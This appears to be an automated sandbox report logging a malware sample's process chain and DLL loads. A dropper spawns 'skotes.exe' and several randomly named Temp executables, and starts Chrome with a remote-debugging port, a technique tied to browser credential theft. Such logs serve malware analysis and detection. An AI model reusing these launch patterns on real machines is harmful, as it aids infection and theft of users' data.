Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIIEBKJECFC.exe "C:\Users\user\DocumentsIIEBKJECFC.exe"
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process created: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe "C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process created: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe "C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process created: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe "C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIEBKJECFC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2140,i,7468167225863871419,6688066973538653544,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIIEBKJECFC.exe "C:\Users\user\DocumentsIIEBKJECFC.exe"	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process created: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe "C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe"
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process created: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe "C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe"
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process created: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe "C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Section loaded: uxtheme.dll
